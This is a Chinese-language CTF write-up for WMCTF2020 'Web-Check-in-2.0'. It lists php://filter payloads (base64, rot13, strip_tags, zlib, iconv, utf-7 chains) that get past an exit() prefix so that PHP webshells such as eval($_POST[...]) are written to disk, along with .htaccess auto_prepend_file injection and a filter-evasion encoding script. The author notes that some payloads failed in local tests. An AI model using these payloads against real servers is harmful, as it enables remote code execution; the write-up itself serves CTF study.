# [WMCTF2020]Web-Check-in-2.0

image-20241105161800311

给了源码,给了沙箱,给了这个 file_put_contents 写文件函数,基本上就是 php 死亡 exit 函数绕过了,还有几个禁用的过滤器,但是还是要写一下完整版的 exit 函数绕过

# php 的 exit()函数绕过

这个知识点其实已经有师傅将的很详细了,本着好记性不如烂笔头的原则,先记下来自己测试一下,免得以后忘了

需要绕过 exit () 的地方一般都是 file_put_contents

以前只见过 file_put_contents($filename,"<?php exit();".$content); 这种形式,但其实还有另外两种,题目还是做少了

大致有如下三种

file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");

tips:伪协议处理时会对过滤器 urldecode 一次;面对不可用的规则是报个 Warning,然后跳过继续执行

# 第一种情况

file_put_contents($filename,"<?php exit();".$content);

# base64 编码绕过

filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+

利用 php://filter ,先将内容进行解码后再写入文件

<?php phpinfo();?> base64 编码后为 aPD9waHAgcGhwaW5mbygpOz8+ ,至于为什么前面要加个 a ,是因为 base64 解码以 4 个字节为 1 组转换为 3 个字节,前面的 <?php exit(); 符合 base64 编码的只有 phpexit 这 7 个字节,因此添加一个字节来满足编码

最终效果如下

# rot13 编码绕过

filename=php://filter/convert.string.rot13/resource=shell.php
content=<?cuc cucvasb();?>

原理同上,因为不用考虑前面字符长度,更为方便

[image-20241105162931162

但有局限性,如果开启了短标签的话,前面内容就会解析,导致代码错误

# 过滤器嵌套绕过

一种 payload【

filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
content=?>PD9waHAgcGhwaW5mbygpOz8+

string.strip_tags 可以过滤掉 html 标签和 php 标签里的内容,然后再进行 base64 解码

效果如下

image-20241105162954902

需要注意的是 string.strip_tags 在 php7.3.0 以上的环境下会发生段错误,从而导致无法写入,php5 则不受影响

另外一种 payload

filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=s1mple.php

先进行压缩,再转小写,再解压,最后可以非常巧合的发现目的代码并没有发生改变

image-20241105163016034

但是我本地测试的时候发现这串代码并不能执行,很奇怪,也许是哪个的地方的配置不对

# .htaccess 的预包含利用

自定义包含 flag 文件

filename=php://filter/write=string.strip_tags/resource=.htaccess
content=?>php_value auto_prepend_file D:\\phpstudy_pro\\www\\flag.php

因为 string.strip_tags ,所以依旧只能在 php5 下使用

但这里我也没成功,提示我不能使用 php_value

image-20241105163036203

# 第二种情况

file_put_contents($content,"<?php exit();".$content);

# rot13 编码绕过

content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php

结果如下

如果 rot 被过滤了的话可以考虑二次编码

<?php 
$char = 'r'; #构造r的二次编码 
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) { 
    for ($ascii2 = 0; $ascii2 < 256; $ascii2++) { 
        $aaa = '%'.$ascii1.'%'.$ascii2; 
        if(urldecode(urldecode($aaa)) == $char){ 
            echo $char.': '.$aaa; 
            echo "\n"; 
        } 
    } 
} 
?> 

# 过滤器嵌套绕过

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php

原理同上

image-20241105163126611

# base64 编码

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php

因为 base64 在遇到 = 后就结束了,因此可以先用 string.strip_tags 来去掉前面 php 标签里的内容,然后剩下的进行 base64 解码即可

image-20241105163142209

# convert.iconv.*

convert.iconv.* 过滤器等同于用 iconv() 函数

通过 usc-2 的编码进行转换;对目标字符串进行 2 位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)

content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php

image-20241105163213634

通过 usc-4 的编码进行转换;对目标字符串进行 2 位一反转

echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[1234]);?>');
content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$1[TS]432>?;)/resource=shell.php

image-20241105163253540

使用 utf【-8 转为 utf-7

= 转化为了 +AD0- ,因此可以结合 base64 来绕过

<?php @eval($_POST[123456789]);?>`base64后为`PD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+`,utf-7后为`PD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+-

最终 payload

content=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|aaaaaaPD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+|/resource=shell.php

image-20241105163321132

# 第三种情况

file_put_contents($filename,$content . "\nxxxxxx");

这种就很简单了

filename=shell.php
content=<?php phpinfo();?>

image-20241105163336259

但如果过滤了 php 及起始结束符号的话,就要考虑写.htaccess

filename=.htaccess
content=php_value auto_prepend_file D:\\phpstudy_pro\\www\\flag.php%0a%23\

转载链接:https://xiaolong22333.top/archives/114/

回归题目:

image-20241105163432072

用 POST 下面的两条命令两条一个周期就行了,这个好像运行一次就会删除

参考题目链接:https://fushuling.com/index.php/2022/11/10/wmctf2020web-check-in-2-0/